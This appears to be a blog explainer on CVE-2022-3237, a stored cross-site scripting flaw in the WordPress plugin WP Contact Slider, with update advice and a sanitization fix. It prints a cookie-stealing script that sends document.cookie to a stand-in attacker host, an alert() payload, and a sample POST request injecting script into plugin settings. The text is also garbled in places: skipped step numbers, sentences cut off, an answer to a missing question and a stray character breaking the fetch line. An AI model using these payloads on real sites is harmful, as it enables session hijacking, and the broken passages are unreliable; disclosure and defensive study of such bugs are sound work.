The security community has been buzzing about CVE-2022-3237, a Cross-Site Scripting (XSS) bug found in the popular WordPress plugin WP Contact Slider. If you’re running a WordPress site and using this plugin with a version below 2.4.8, you should read on. In this long-read, we’ll break down what happened, how the bug works, how hackers could use it, and what you can do to stay safe. We’ll also include code snippets and official links for deeper understanding.

Who can exploit: High-privileged users (like admins WITHOUT unfiltered_html)

- Risk: Attackers can inject malicious JavaScript, potentially hijacking sessions or spreading malware

What is CVE-2022-3237?

CVE-2022-3237 is a vulnerability in the WP Contact Slider plugin for WordPress. Specifically, the bug comes from improper sanitization and escaping of plugin settings. This lets high-privileged users—like admins, editors, or shop managers—insert and save malicious code into the plugin’s options, which can then execute in the browser of others who visit the site.

Here’s the official advisory from WPScan.

Why is This a Problem?

Plugins should always clean and escape what users (even admins!) enter, because it prevents security problems. In WP Contact Slider before version 2.4.8, the code failed to do this. That means:

Which runs for other users—including other admins!

This is especially dangerous if the “unfiltered_html” capability is disabled, and even then, this bypasses that protection.

Let’s look at a simplified “flow” of the exploit

1. Login as an admin or another high-privilege user; this could be a legitimate admin, or a hacker using a compromised account.

3. Inject a payload in one of the vulnerable fields (like the “description” or “title”)—for example:

<script>alert('Hacked! XSS Here');</script>

Save the settings.

5. When another privileged user visits the settings page (or front-end where the value is displayed), the JavaScript runs in their browser.

Here’s a simple proof-of-concept payload

<script>
    fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

Where to inject:

In the plugin settings (like “Description,” “Footer Note,” etc.)

What happens:  
If another administrator opens the affected Contact Slider setting in the backend, their cookies could be sent to an attacker.

Assuming the plugin’s settings are saved without sanitization, a POST request might look like this

POST /wp-admin/admin.php?page=contact_slider_settings HTTP/1.1
Host: victim.com
Cookie: wordpress_logged_in=admin_cookie_here
Content-Type: application/x-www-form-urlencoded

description=<script>alert('XSS')</script>&submit=Save

After saving, next time anybody loads a page where that setting appears, their browser executes the JavaScript.

Original References

- WPScan Advisory Database Entry
- NVD - CVE-2022-3237
- Plugin Listing (WordPress.org)

Not really! WordPress has built-in functions to sanitize and escape data

// BAD: No sanitization
update_option('wp_contact_slider_desc', $_POST['description']);

// GOOD: With sanitization
update_option('wp_contact_slider_desc', sanitize_text_field($_POST['description']));

As of version 2.4.8, the developer added proper sanitization, closing the vulnerability.

Conclusion

CVE-2022-3237 is a big reminder: even admins can’t always be trusted with raw HTML, and plugins must sanitize everything. If you’re using WP Contact Slider, update and thank the developer for pushing a patch, but stay alert—XSS bugs are sneakier than most people realize.

For more technical details, check the original WPScan listing.

Timeline

Published on: 10/31/2022 16:15:00 UTC
Last modified on: 11/01/2022 13:58:00 UTC